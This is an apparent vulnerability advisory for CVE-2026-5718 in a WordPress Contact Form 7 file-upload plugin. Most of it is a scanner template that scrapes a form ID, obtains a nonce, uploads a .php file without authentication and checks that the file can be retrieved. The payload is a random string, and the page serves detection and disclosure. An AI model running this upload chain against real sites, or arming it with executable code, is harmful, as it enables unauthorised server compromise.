CVE-2026-5718: Drag and Drop Multiple File Upload - CF7 <= 1.3.9.6 - Remote Code Execution

2026-05-18 CF7 PoC Public

Description

Drag and Drop Multiple File Upload for Contact Form 7 WordPress plugin <= 1.3.9.6 contains an unrestricted file upload caused by insufficient file type validation and bypass of filename sanitization with non-ASCII characters, letting unauthenticated attackers upload arbitrary files and achieve remote code execution.

PoC

id: CVE-2026-5718

info:
  name: Drag and Drop Multiple File Upload - CF7 <= 1.3.9.6 - Remote Code Execution
  author: zer0p0int
  severity: critical
  description: |
   Drag and Drop Multiple File Upload for Contact Form 7 WordPress plugin <= 1.3.9.6 contains an unrestricted file upload caused by insufficient file type validation and bypass of filename sanitization with non-ASCII characters, letting unauthenticated attackers upload arbitrary files and achieve remote code execution.
  impact: |
   Unauthenticated attackers can upload arbitrary files, potentially leading to remote code execution and full server compromise.
  remediation: |
   Update to the latest version beyond 1.3.9.6.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2026-5718
    - https://wordpress.org/plugins/drag-and-drop-multiple-file-upload-contact-form-7/
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2026-5718
    epss-score: 0.04175
    epss-percentile: 0.90392
    cwe-id: CWE-434
  metadata:
    verified: true
    max-request: 5
    vendor: codedropz
    product: drag-and-drop-multiple-file-upload-contact-form-7
    publicwww-query: "/wp-content/plugins/drag-and-drop-multiple-file-upload-contact-form-7/"
  tags: cve,cve2026,wordpress,wp-plugin,file-upload,rce,intrusive,unauth,vkev

variables:
  string: "{{randstr}}"
  filename: "{{to_lower(rand_text_alpha(6))}}"

flow: http(1) && http(2) && http(3) && http(4)

http:
  - method: GET
    path:
      - "{{BaseURL}}/"
      - "{{BaseURL}}/contact"
      - "{{BaseURL}}/contact-us"

    stop-at-first-match: true
    host-redirects: true
    max-redirects: 2

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(body, "_wpcf7")'
        internal: true
        condition: and

    extractors:
      - type: regex
        name: form_id
        group: 1
        part: body
        regex:
          - '_wpcf7"(?:[^>]*value="|:)(\d+)'
        internal: true

  - raw:
      - |
        POST /wp-admin/admin-ajax.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        action=_wpcf7_check_nonce

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(body, "\"data\"")'
        internal: true
        condition: and

    extractors:
      - type: regex
        name: nonce
        group: 1
        part: body
        regex:
          - '"data":"([a-f0-9]+)"'
        internal: true

  - raw:
      - |
        POST /wp-admin/admin-ajax.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: multipart/form-data; boundary=---------------------------cf7dndboundary

        -----------------------------cf7dndboundary
        Content-Disposition: form-data; name="action"

        dnd_codedropz_upload
        -----------------------------cf7dndboundary
        Content-Disposition: form-data; name="security"

        {{nonce}}
        -----------------------------cf7dndboundary
        Content-Disposition: form-data; name="form_id"

        {{form_id}}
        -----------------------------cf7dndboundary
        Content-Disposition: form-data; name="upload_name"

        upload-file
        -----------------------------cf7dndboundary
        Content-Disposition: form-data; name="upload-file"; filename="{{filename}}.php"
        Content-Type: application/octet-stream

        {{string}}
        -----------------------------cf7dndboundary--

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains_all(body, "\"success\":true", "\"file\"")'
        internal: true
        condition: and

    extractors:
      - type: regex
        name: renamed
        group: 1
        part: body
        regex:
          - '"file":"([^"]+)"'
        internal: true

      - type: regex
        name: path
        group: 1
        part: body
        regex:
          - '"path":"([^"]+)"'
        internal: true

  - method: GET
    path:
      - "{{BaseURL}}/wp-content/uploads/wp_dndcf7_uploads/{{path}}/{{renamed}}"

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(body, string)'
        condition: and
# digest: 490a00463044022034f2b0cd7dc2a5e1e0f389a95148613c6ae592a7570f3dd47935fade0f4f9171022056f97976c55c1886c72e8f1e00252f5f68b5e206f8f135b03d8268234e2b0283:922c64590222798bb761d5b6d8e72950

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.

References

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